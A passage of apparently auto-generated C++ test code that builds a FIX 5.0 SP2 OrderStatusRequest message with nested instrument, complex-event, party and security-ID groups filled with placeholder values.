StrikePrice_62;\n  StrikePrice_62.setString(\"12838643\");\nset_field(msg, StrikePrice_62, Instrument_62);\n  set_field(msg, FIX::StrikePriceBoundaryMethod{2}, Instrument_62);\n  FIX::StrikePriceBoundaryPrecision StrikePriceBoundaryPrecision_62;\n  StrikePriceBoundaryPrecision_62.setString(\"44.580000\");\nset_field(msg, StrikePriceBoundaryPrecision_62, Instrument_62);\n  set_field(msg, FIX::StrikePriceDeterminationMethod{1}, Instrument_62);\n  FIX::StrikeValue StrikeValue_62;\n  StrikeValue_62.setString(\"11865296\");\nset_field(msg, StrikeValue_62, Instrument_62);\n  set_field(msg, FIX::Symbol{\"STRING_1457948885\"}, Instrument_62);\n  set_field(msg, FIX::SymbolSfx{\"STRING_CD\"}, Instrument_62);\n  set_field(msg, FIX::TimeUnit{\"STRING_Wk\"}, Instrument_62);\n  set_field(msg, FIX::UnderlyingPriceDeterminationMethod{3}, Instrument_62);\n  set_field(msg, FIX::UnitOfMeasure{\"STRING_t\"}, Instrument_62);\n  FIX::UnitOfMeasureQty UnitOfMeasureQty_62;\n  UnitOfMeasureQty_62.setString(\"3842794\");\nset_field(msg, UnitOfMeasureQty_62, Instrument_62);\n  set_field(msg, FIX::ValuationMethod{\"STRING_CDSD\"}, Instrument_62);\n  all_values.push_back(Instrument_62);\n  all_compo_names.insert(\".\");\n\n  // ComplexEvents\n  // Group ComplexEvents.NoComplexEvents\n  {\n    FIX50SP2::OrderStatusRequest::NoComplexEvents noComplexEvents_0_0;\n    // ComplexEvents.NoComplexEvents\n    multiset<string> ComplexEvents_NoComplexEvents_123;\n    set_field(noComplexEvents_0_0, FIX::ComplexEventCondition{2}, ComplexEvents_NoComplexEvents_123);\n    FIX::ComplexEventPrice ComplexEventPrice_123;\n    ComplexEventPrice_123.setString(\"9003064\");\nset_field(noComplexEvents_0_0, ComplexEventPrice_123, ComplexEvents_NoComplexEvents_123);\n    set_field(noComplexEvents_0_0, FIX::ComplexEventPriceBoundaryMethod{5}, ComplexEvents_NoComplexEvents_123);\n    FIX::ComplexEventPriceBoundaryPrecision ComplexEventPriceBoundaryPrecision_123;\n    ComplexEventPriceBoundaryPrecision_123.setString(\"82.790000\");\nset_field(noComplexEvents_0_0, ComplexEventPriceBoundaryPrecision_123, ComplexEvents_NoComplexEvents_123);\n    set_field(noComplexEvents_0_0, FIX::ComplexEventPriceTimeType{2}, ComplexEvents_NoComplexEvents_123);\n    set_field(noComplexEvents_0_0, FIX::ComplexEventType{6}, ComplexEvents_NoComplexEvents_123);\n    FIX::ComplexOptPayoutAmount ComplexOptPayoutAmount_123;\n    ComplexOptPayoutAmount_123.setString(\"3208271\");\nset_field(noComplexEvents_0_0, ComplexOptPayoutAmount_123, ComplexEvents_NoComplexEvents_123);\n    all_values.push_back(ComplexEvents_NoComplexEvents_123);\n    all_compo_names.insert(\"....NoComplexEvents\");\n\n    // ComplexEventDates\n    // Group ComplexEventDates.NoComplexEventDates\n    {\n      FIX50SP2::OrderStatusRequest::NoComplexEvents::NoComplexEventDates noComplexEventDates_0_1_0;\n      // ComplexEventDates.NoComplexEventDates\n      multiset<string> ComplexEventDates_NoComplexEventDates_238;\n      set_field(noComplexEventDates_0_1_0, FIX::ComplexEventEndDate{FIX::UTCTIMESTAMP(10, 38, 29, 22, 3, 2004)}, ComplexEventDates_NoComplexEventDates_238);\n      set_field(noComplexEventDates_0_1_0, FIX::ComplexEventStartDate{FIX::UTCTIMESTAMP(6, 40, 6, 11, 7, 2008)}, ComplexEventDates_NoComplexEventDates_238);\n      all_values.push_back(ComplexEventDates_NoComplexEventDates_238);\n      all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates\");\n\n      // ComplexEventTimes\n      // Group ComplexEventTimes.NoComplexEventTimes\n      {\n        FIX50SP2::OrderStatusRequest::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_0_0_2_0;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_485;\n        set_field(noComplexEventTimes_0_0_2_0, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(18, 48, 6)}, ComplexEventTimes_NoComplexEventTimes_485);\n        set_field(noComplexEventTimes_0_0_2_0, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(4, 7, 59)}, ComplexEventTimes_NoComplexEventTimes_485);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_485);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_0_1_0.addGroup(noComplexEventTimes_0_0_2_0);\n      }\n      noComplexEvents_0_0.addGroup(noComplexEventDates_0_1_0);\n    }\n    {\n      FIX50SP2::OrderStatusRequest::NoComplexEvents::NoComplexEventDates noComplexEventDates_0_1_1;\n      // ComplexEventDates.NoComplexEventDates\n      multiset<string> ComplexEventDates_NoComplexEventDates_239;\n      set_field(noComplexEventDates_0_1_1, FIX::ComplexEventEndDate{FIX::UTCTIMESTAMP(18, 40, 35, 13, 4, 2016)}, ComplexEventDates_NoComplexEventDates_239);\n      set_field(noComplexEventDates_0_1_1, FIX::ComplexEventStartDate{FIX::UTCTIMESTAMP(6, 2, 38, 15, 9, 2015)}, ComplexEventDates_NoComplexEventDates_239);\n      all_values.push_back(ComplexEventDates_NoComplexEventDates_239);\n      all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates\");\n\n      // ComplexEventTimes\n      // Group ComplexEventTimes.NoComplexEventTimes\n      {\n        FIX50SP2::OrderStatusRequest::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_0_1_2_0;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_486;\n        set_field(noComplexEventTimes_0_1_2_0, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(15, 45, 8)}, ComplexEventTimes_NoComplexEventTimes_486);\n        set_field(noComplexEventTimes_0_1_2_0, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(19, 22, 19)}, ComplexEventTimes_NoComplexEventTimes_486);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_486);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_0_1_1.addGroup(noComplexEventTimes_0_1_2_0);\n      }\n      {\n        FIX50SP2::OrderStatusRequest::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_0_1_2_1;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_487;\n        set_field(noComplexEventTimes_0_1_2_1, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(4, 59, 9)}, ComplexEventTimes_NoComplexEventTimes_487);\n        set_field(noComplexEventTimes_0_1_2_1, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(3, 17, 8)}, ComplexEventTimes_NoComplexEventTimes_487);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_487);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_0_1_1.addGroup(noComplexEventTimes_0_1_2_1);\n      }\n      noComplexEvents_0_0.addGroup(noComplexEventDates_0_1_1);\n    }\n    msg.addGroup(noComplexEvents_0_0);\n  }\n  {\n    FIX50SP2::OrderStatusRequest::NoComplexEvents noComplexEvents_0_1;\n    // ComplexEvents.NoComplexEvents\n    multiset<string> ComplexEvents_NoComplexEvents_124;\n    set_field(noComplexEvents_0_1, FIX::ComplexEventCondition{2}, ComplexEvents_NoComplexEvents_124);\n    FIX::ComplexEventPrice ComplexEventPrice_124;\n    ComplexEventPrice_124.setString(\"15514084\");\nset_field(noComplexEvents_0_1, ComplexEventPrice_124, ComplexEvents_NoComplexEvents_124);\n    set_field(noComplexEvents_0_1, FIX::ComplexEventPriceBoundaryMethod{4}, ComplexEvents_NoComplexEvents_124);\n    FIX::ComplexEventPriceBoundaryPrecision ComplexEventPriceBoundaryPrecision_124;\n    ComplexEventPriceBoundaryPrecision_124.setString(\"84.260000\");\nset_field(noComplexEvents_0_1, ComplexEventPriceBoundaryPrecision_124, ComplexEvents_NoComplexEvents_124);\n    set_field(noComplexEvents_0_1, FIX::ComplexEventPriceTimeType{3}, ComplexEvents_NoComplexEvents_124);\n    set_field(noComplexEvents_0_1, FIX::ComplexEventType{2}, ComplexEvents_NoComplexEvents_124);\n    FIX::ComplexOptPayoutAmount ComplexOptPayoutAmount_124;\n    ComplexOptPayoutAmount_124.setString(\"17366567\");\nset_field(noComplexEvents_0_1, ComplexOptPayoutAmount_124, ComplexEvents_NoComplexEvents_124);\n    all_values.push_back(ComplexEvents_NoComplexEvents_124);\n    all_compo_names.insert(\"....NoComplexEvents\");\n\n    // ComplexEventDates\n    // Group ComplexEventDates.NoComplexEventDates\n    {\n      FIX50SP2::OrderStatusRequest::NoComplexEvents::NoComplexEventDates noComplexEventDates_1_1_0;\n      // ComplexEventDates.NoComplexEventDates\n      multiset<string> ComplexEventDates_NoComplexEventDates_240;\n      set_field(noComplexEventDates_1_1_0, FIX::ComplexEventEndDate{FIX::UTCTIMESTAMP(13, 12, 28, 2, 10, 2003)}, ComplexEventDates_NoComplexEventDates_240);\n      set_field(noComplexEventDates_1_1_0, FIX::ComplexEventStartDate{FIX::UTCTIMESTAMP(16, 18, 12, 14, 2, 2004)}, ComplexEventDates_NoComplexEventDates_240);\n      all_values.push_back(ComplexEventDates_NoComplexEventDates_240);\n      all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates\");\n\n      // ComplexEventTimes\n      // Group ComplexEventTimes.NoComplexEventTimes\n      {\n        FIX50SP2::OrderStatusRequest::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_1_0_2_0;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_488;\n        set_field(noComplexEventTimes_1_0_2_0, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(6, 28, 26)}, ComplexEventTimes_NoComplexEventTimes_488);\n        set_field(noComplexEventTimes_1_0_2_0, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(7, 43, 11)}, ComplexEventTimes_NoComplexEventTimes_488);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_488);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_1_1_0.addGroup(noComplexEventTimes_1_0_2_0);\n      }\n      {\n        FIX50SP2::OrderStatusRequest::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_1_0_2_1;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_489;\n        set_field(noComplexEventTimes_1_0_2_1, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(11, 51, 1)}, ComplexEventTimes_NoComplexEventTimes_489);\n        set_field(noComplexEventTimes_1_0_2_1, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(10, 36, 37)}, ComplexEventTimes_NoComplexEventTimes_489);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_489);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_1_1_0.addGroup(noComplexEventTimes_1_0_2_1);\n      }\n      {\n        FIX50SP2::OrderStatusRequest::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_1_0_2_2;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_490;\n        set_field(noComplexEventTimes_1_0_2_2, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(6, 49, 55)}, ComplexEventTimes_NoComplexEventTimes_490);\n        set_field(noComplexEventTimes_1_0_2_2, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(14, 28, 12)}, ComplexEventTimes_NoComplexEventTimes_490);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_490);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_1_1_0.addGroup(noComplexEventTimes_1_0_2_2);\n      }\n      noComplexEvents_0_1.addGroup(noComplexEventDates_1_1_0);\n    }\n    {\n      FIX50SP2::OrderStatusRequest::NoComplexEvents::NoComplexEventDates noComplexEventDates_1_1_1;\n      // ComplexEventDates.NoComplexEventDates\n      multiset<string> ComplexEventDates_NoComplexEventDates_241;\n      set_field(noComplexEventDates_1_1_1, FIX::ComplexEventEndDate{FIX::UTCTIMESTAMP(10, 24, 0, 24, 11, 2005)}, ComplexEventDates_NoComplexEventDates_241);\n      set_field(noComplexEventDates_1_1_1, FIX::ComplexEventStartDate{FIX::UTCTIMESTAMP(4, 57, 35, 4, 10, 2005)}, ComplexEventDates_NoComplexEventDates_241);\n      all_values.push_back(ComplexEventDates_NoComplexEventDates_241);\n      all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates\");\n\n      // ComplexEventTimes\n      // Group ComplexEventTimes.NoComplexEventTimes\n      {\n        FIX50SP2::OrderStatusRequest::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_1_1_2_0;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_491;\n        set_field(noComplexEventTimes_1_1_2_0, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(10, 43, 1)}, ComplexEventTimes_NoComplexEventTimes_491);\n        set_field(noComplexEventTimes_1_1_2_0, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(21, 30, 7)}, ComplexEventTimes_NoComplexEventTimes_491);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_491);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_1_1_1.addGroup(noComplexEventTimes_1_1_2_0);\n      }\n      {\n        FIX50SP2::OrderStatusRequest::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_1_1_2_1;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_492;\n        set_field(noComplexEventTimes_1_1_2_1, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(0, 57, 56)}, ComplexEventTimes_NoComplexEventTimes_492);\n        set_field(noComplexEventTimes_1_1_2_1, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(3, 25, 56)}, ComplexEventTimes_NoComplexEventTimes_492);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_492);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_1_1_1.addGroup(noComplexEventTimes_1_1_2_1);\n      }\n      {\n        FIX50SP2::OrderStatusRequest::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_1_1_2_2;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_493;\n        set_field(noComplexEventTimes_1_1_2_2, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(3, 20, 38)}, ComplexEventTimes_NoComplexEventTimes_493);\n        set_field(noComplexEventTimes_1_1_2_2, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(10, 0, 56)}, ComplexEventTimes_NoComplexEventTimes_493);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_493);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_1_1_1.addGroup(noComplexEventTimes_1_1_2_2);\n      }\n      noComplexEvents_0_1.addGroup(noComplexEventDates_1_1_1);\n    }\n    {\n      FIX50SP2::OrderStatusRequest::NoComplexEvents::NoComplexEventDates noComplexEventDates_1_1_2;\n      // ComplexEventDates.NoComplexEventDates\n      multiset<string> ComplexEventDates_NoComplexEventDates_242;\n      set_field(noComplexEventDates_1_1_2, FIX::ComplexEventEndDate{FIX::UTCTIMESTAMP(1, 24, 42, 22, 12, 2000)}, ComplexEventDates_NoComplexEventDates_242);\n      set_field(noComplexEventDates_1_1_2, FIX::ComplexEventStartDate{FIX::UTCTIMESTAMP(9, 17, 24, 27, 3, 2010)}, ComplexEventDates_NoComplexEventDates_242);\n      all_values.push_back(ComplexEventDates_NoComplexEventDates_242);\n      all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates\");\n\n      // ComplexEventTimes\n      // Group ComplexEventTimes.NoComplexEventTimes\n      {\n        FIX50SP2::OrderStatusRequest::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_1_2_2_0;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_494;\n        set_field(noComplexEventTimes_1_2_2_0, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(22, 27, 48)}, ComplexEventTimes_NoComplexEventTimes_494);\n        set_field(noComplexEventTimes_1_2_2_0, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(19, 13, 54)}, ComplexEventTimes_NoComplexEventTimes_494);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_494);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_1_1_2.addGroup(noComplexEventTimes_1_2_2_0);\n      }\n      {\n        FIX50SP2::OrderStatusRequest::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_1_2_2_1;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_495;\n        set_field(noComplexEventTimes_1_2_2_1, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(4, 6, 47)}, ComplexEventTimes_NoComplexEventTimes_495);\n        set_field(noComplexEventTimes_1_2_2_1, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(8, 47, 52)}, ComplexEventTimes_NoComplexEventTimes_495);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_495);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_1_1_2.addGroup(noComplexEventTimes_1_2_2_1);\n      }\n      {\n        FIX50SP2::OrderStatusRequest::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_1_2_2_2;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_496;\n        set_field(noComplexEventTimes_1_2_2_2, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(1, 16, 45)}, ComplexEventTimes_NoComplexEventTimes_496);\n        set_field(noComplexEventTimes_1_2_2_2, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(15, 19, 14)}, ComplexEventTimes_NoComplexEventTimes_496);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_496);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_1_1_2.addGroup(noComplexEventTimes_1_2_2_2);\n      }\n      noComplexEvents_0_1.addGroup(noComplexEventDates_1_1_2);\n    }\n    msg.addGroup(noComplexEvents_0_1);\n  }\n  // EvntGrp\n  // Group EvntGrp.NoEvents\n  {\n    FIX50SP2::OrderStatusRequest::NoEvents noEvents_0_0;\n    // EvntGrp.NoEvents\n    multiset<string> EvntGrp_NoEvents_130;\n    set_field(noEvents_0_0, FIX::EventDate{\"LOCALMKTDATE_603915276\"}, EvntGrp_NoEvents_130);\n    FIX::EventPx EventPx_130;\n    EventPx_130.setString(\"2109863\");\nset_field(noEvents_0_0, EventPx_130, EvntGrp_NoEvents_130);\n    set_field(noEvents_0_0, FIX::EventText{\"STRING_1805757803\"}, EvntGrp_NoEvents_130);\n    set_field(noEvents_0_0, FIX::EventTime{FIX::UTCTIMESTAMP(16, 54, 18, 18, 10, 2012)}, EvntGrp_NoEvents_130);\n    set_field(noEvents_0_0, FIX::EventType{17}, EvntGrp_NoEvents_130);\n    all_values.push_back(EvntGrp_NoEvents_130);\n    all_compo_names.insert(\"....NoEvents\");\n\n    msg.addGroup(noEvents_0_0);\n  }\n  {\n    FIX50SP2::OrderStatusRequest::NoEvents noEvents_0_1;\n    // EvntGrp.NoEvents\n    multiset<string> EvntGrp_NoEvents_131;\n    set_field(noEvents_0_1, FIX::EventDate{\"LOCALMKTDATE_1341715432\"}, EvntGrp_NoEvents_131);\n    FIX::EventPx EventPx_131;\n    EventPx_131.setString(\"3330529\");\nset_field(noEvents_0_1, EventPx_131, EvntGrp_NoEvents_131);\n    set_field(noEvents_0_1, FIX::EventText{\"STRING_944461042\"}, EvntGrp_NoEvents_131);\n    set_field(noEvents_0_1, FIX::EventTime{FIX::UTCTIMESTAMP(15, 20, 49, 7, 5, 2004)}, EvntGrp_NoEvents_131);\n    set_field(noEvents_0_1, FIX::EventType{17}, EvntGrp_NoEvents_131);\n    all_values.push_back(EvntGrp_NoEvents_131);\n    all_compo_names.insert(\"....NoEvents\");\n\n    msg.addGroup(noEvents_0_1);\n  }\n  // InstrumentParties\n  // Group InstrumentParties.NoInstrumentParties\n  {\n    FIX50SP2::OrderStatusRequest::NoInstrumentParties noInstrumentParties_0_0;\n    // InstrumentParties.NoInstrumentParties\n    multiset<string> InstrumentParties_NoInstrumentParties_118;\n    set_field(noInstrumentParties_0_0, FIX::InstrumentPartyID{\"STRING_1310343245\"}, InstrumentParties_NoInstrumentParties_118);\n    set_field(noInstrumentParties_0_0, FIX::InstrumentPartyIDSource{'1'}, InstrumentParties_NoInstrumentParties_118);\n    set_field(noInstrumentParties_0_0, FIX::InstrumentPartyRole{897643155}, InstrumentParties_NoInstrumentParties_118);\n    all_values.push_back(InstrumentParties_NoInstrumentParties_118);\n    all_compo_names.insert(\"....NoInstrumentParties\");\n\n    // InstrumentPtysSubGrp\n    // Group InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n    {\n      FIX50SP2::OrderStatusRequest::NoInstrumentParties::NoInstrumentPartySubIDs noInstrumentPartySubIDs_0_1_0;\n      // InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n      multiset<string> InstrumentPtysSubGrp_NoInstrumentPartySubIDs_240;\n      set_field(noInstrumentPartySubIDs_0_1_0, FIX::InstrumentPartySubID{\"STRING_1667245396\"}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_240);\n      set_field(noInstrumentPartySubIDs_0_1_0, FIX::InstrumentPartySubIDType{1012133674}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_240);\n      all_values.push_back(InstrumentPtysSubGrp_NoInstrumentPartySubIDs_240);\n      all_compo_names.insert(\"....NoInstrumentParties...NoInstrumentPartySubIDs\");\n\n      noInstrumentParties_0_0.addGroup(noInstrumentPartySubIDs_0_1_0);\n    }\n    msg.addGroup(noInstrumentParties_0_0);\n  }\n  // SecAltIDGrp\n  // Group SecAltIDGrp.NoSecurityAltID\n  {\n    FIX50SP2::OrderStatusRequest::NoSecurityAltID noSecurityAltID_0_0;\n    // SecAltIDGrp.NoSecurityAltID\n    multiset<string> SecAltIDGrp_NoSecurityAltID_126;\n    set_field(noSecurityAltID_0_0, FIX::SecurityAltID{\"STRING_1508864100\"}, SecAltIDGrp_NoSecurityAltID_126);\n    set_field(noSecurityAltID_0_0, FIX::SecurityAltIDSource{\"STRING_1616048950\"}, SecAltIDGrp_NoSecurityAltID_126);\n    all_values.push_back(SecAltIDGrp_NoSecurityAltID_126);\n    all_compo_names.insert(\"....NoSecurityAltID\");\n\n    msg.addGroup(noSecurityAltID_0_0);\n  }\n  {\n    FIX50SP2::OrderStatusRequest::NoSecurityAltID noSecurityAltID_0_1;\n    // SecAltIDGrp.NoSecurityAltID\n    multiset<string> SecAltIDGrp_NoSecurityAltID_127;\n    set_field(noSecurityAltID_0_1, FIX::SecurityAltID{\"STRING_1991837801\"}, SecAltIDGrp_NoSecurityAltID_127);\n    set_field(noSecurityAltID_0_1, FIX::SecurityAltIDSource{\"STRING_1167138256\"}, SecAltIDGrp_NoSecurityAltID_127);\n    all_values.push_back(SecAltIDGrp_NoSecurityAltID_127);\n    all_compo_names.insert(\"....NoSecurityAltID\");\n\n    msg.addGroup(noSecurityAltID_0_1);\n  }\n  {\n    FIX50SP2::OrderStatusRequest::NoSecurityAltID noSecurityAltID_0_2;\n    // SecAltIDGrp.NoSecurityAltID\n    multiset<string> SecAltIDGrp_NoSecurityAltID_128;\n    set_field(noSecurityAltID_0_2, FIX::SecurityAltID{\"STRING_578614829\"}, SecAltIDGrp_NoSecurityAltID_128);\n    set_field(noSecurityAltID_0_2, FIX::SecurityAltIDSource{\"STRING_71707609\"}, SecAltIDGrp_NoSecurityAltID_128);\n    all_values.push_back(SecAltIDGrp_NoSecurityAltID_128);\n    all_compo_names.insert(\"....NoSecurityAltID\");\n\n    msg.addGroup(noSecurityAltID_0_2);\n  }\n  // SecurityXML\n  multiset<string> SecurityXML_124;\n  set_field(msg, FIX::SecurityXML{\"XMLDATA_1403899870\"}, SecurityXML_124);\n  set_field(msg, FIX::SecurityXMLLen{1895066687}, SecurityXML_124);\n  set_field(msg, FIX::SecurityXMLSchema{\"STRING_1130621007\"}, SecurityXML_124);\n  all_values.push_back(SecurityXML_124);\n  all_compo_names.insert(\"..\");\n\n  // Parties\n  // Group Parties.NoPartyIDs\n  {\n    FIX50SP2::OrderStatusRequest::NoPartyIDs noPartyIDs_0_0;\n    // Parties.NoPartyIDs\n    multiset<string> Parties_NoPartyIDs_104;\n    set_field(noPartyIDs_0_0, FIX::PartyID{\"STRING_1272534465\"}, Parties_NoPartyIDs_104);\n    set_field(noPartyIDs_0_0, FIX::PartyIDSource{'7'}, Parties_NoPartyIDs_104);\n    set_field(noPartyIDs_0_0, FIX::PartyRole{42}, Parties_NoPartyIDs_104);\n    all_values.push_back(Parties_NoPartyIDs_104);\n    all_compo_names.insert(\"...NoPartyIDs\");\n\n    // PtysSubGrp\n    // Group PtysSubGrp.NoPartySubIDs\n    {\n      FIX50SP2::OrderStatusRequest::NoPartyIDs::NoPartySubIDs noPartySubIDs_0_1_0;\n      // PtysSubGrp.NoPartySubIDs\n      multiset<string> PtysSubGrp_NoPartySubIDs_208;\n      set_field(noPartySubIDs_0_1_0, FIX::PartySubID{\"STRING_1197913697\"}, PtysSubGrp_NoPartySubIDs_208);\n      set_field(noPartySubIDs_0_1_0, FIX::PartySubIDType{13}, PtysSubGrp_NoPartySubIDs_208);\n      all_values.push_back(PtysSubGrp_NoPartySubIDs_208);\n      all_compo_names.insert(\"...NoPartyIDs...NoPartySubIDs\");\n\n      noPartyIDs_0_0.addGroup(noPartySubIDs_0_1_0);\n    }\n    {\n      FIX50SP2::OrderStatusRequest::NoPartyIDs::NoPartySubIDs noPartySubIDs_0_1_1;\n      // PtysSubGrp.NoPartySubIDs\n      multiset<string> PtysSubGrp_NoPartySubIDs_209;\n      set_field(noPartySubIDs_0_1_1, FIX::PartySubID{\"STRING_1306441995\"}, PtysSubGrp_NoPartySubIDs_209);\n      set_field(noPartySubIDs_0_1_1, FIX::PartySubIDType{26}, PtysSubGrp_NoPartySubIDs_209);\n      all_values.push_back(PtysSubGrp_NoPartySubIDs_209);\n      all_compo_names.insert(\"...NoPartyIDs...NoPartySubIDs\");\n\n      noPartyIDs_0_0.addGroup(noPartySubIDs_0_1_1);\n    }\n    {\n      FIX50SP2::OrderStatusRequest::NoPartyIDs::NoPartySubIDs noPartySubIDs_0_1_2;\n      // PtysSubGrp.NoPartySubIDs\n      multiset<string> PtysSubGrp_NoPartySubIDs_210;\n      set_field(noPartySubIDs_0_1_2, FIX::PartySubID{\"STRING_1909010878\"}, PtysSubGrp_NoPartySubIDs_210);\n      set_field(noPartySubIDs_0_1_2, FIX::PartySubIDType{22}, PtysSubGrp_NoPartySubIDs_210);\n      all_values.push_back(PtysSubGrp_NoPartySubIDs_210);\n      all_compo_names.insert(\"...NoPartyIDs...NoPartySubIDs\");\n\n      noPartyIDs_0_0.addGroup(noPartySubIDs_0_1_2);\n    }\n    msg.addGroup(noPartyIDs_0_0);\n  }\n  {\n    FIX50SP2::OrderStatusRequest::NoPartyIDs noPartyIDs_0_1;\n    // Parties.NoPartyIDs\n    multiset<string> Parties_NoPartyIDs_105;\n    set_field(noPartyIDs_0_1, FIX::PartyID{\"STRING_1689769385\"}, Parties_NoPartyIDs_105);\n    set_field(noPartyIDs_0_1, FIX::PartyIDSource{'7'}, Parties_NoPartyIDs_105);\n    set_field(noPartyIDs_0_1, FIX::PartyRole{25}, Parties_NoPartyIDs_105);\n    all_values.push_back(Parties_NoPartyIDs_105);\n    all_compo_names.insert(\"...NoPartyIDs\");\n\n    // PtysSubGrp\n    // Group PtysSubGrp.NoPartySubIDs\n    {\n      FIX50SP2::OrderStatusRequest::NoPartyIDs::NoPartySubIDs noPartySubIDs_1_1_0;\n      // PtysSubGrp.NoPartySubIDs\n      multiset<string> PtysSubGrp_NoPartySubIDs_211;\n      set_field(noPartySubIDs_1_1_0, FIX::PartySubID{\"STRING_1330800264\"}, PtysSubGrp_NoPartySubIDs_211);\n      set_field(noPartySubIDs_1_1_0, FIX::PartySubIDType{6}, PtysSubGrp_NoPartySubIDs_211);\n      all_values.push_back(PtysSubGrp_NoPartySubIDs_211);\n      all_compo_names.insert(\"...NoPartyIDs...NoPartySubIDs\");\n\n      noPartyIDs_0_1.addGroup(noPartySubIDs_1_1_0);\n    }\n    msg.addGroup(noPartyIDs_0_1);\n  }\n  // UndInstrmtGrp\n  // Group UndInstrmtGrp.NoUnderlyings\n  {\n    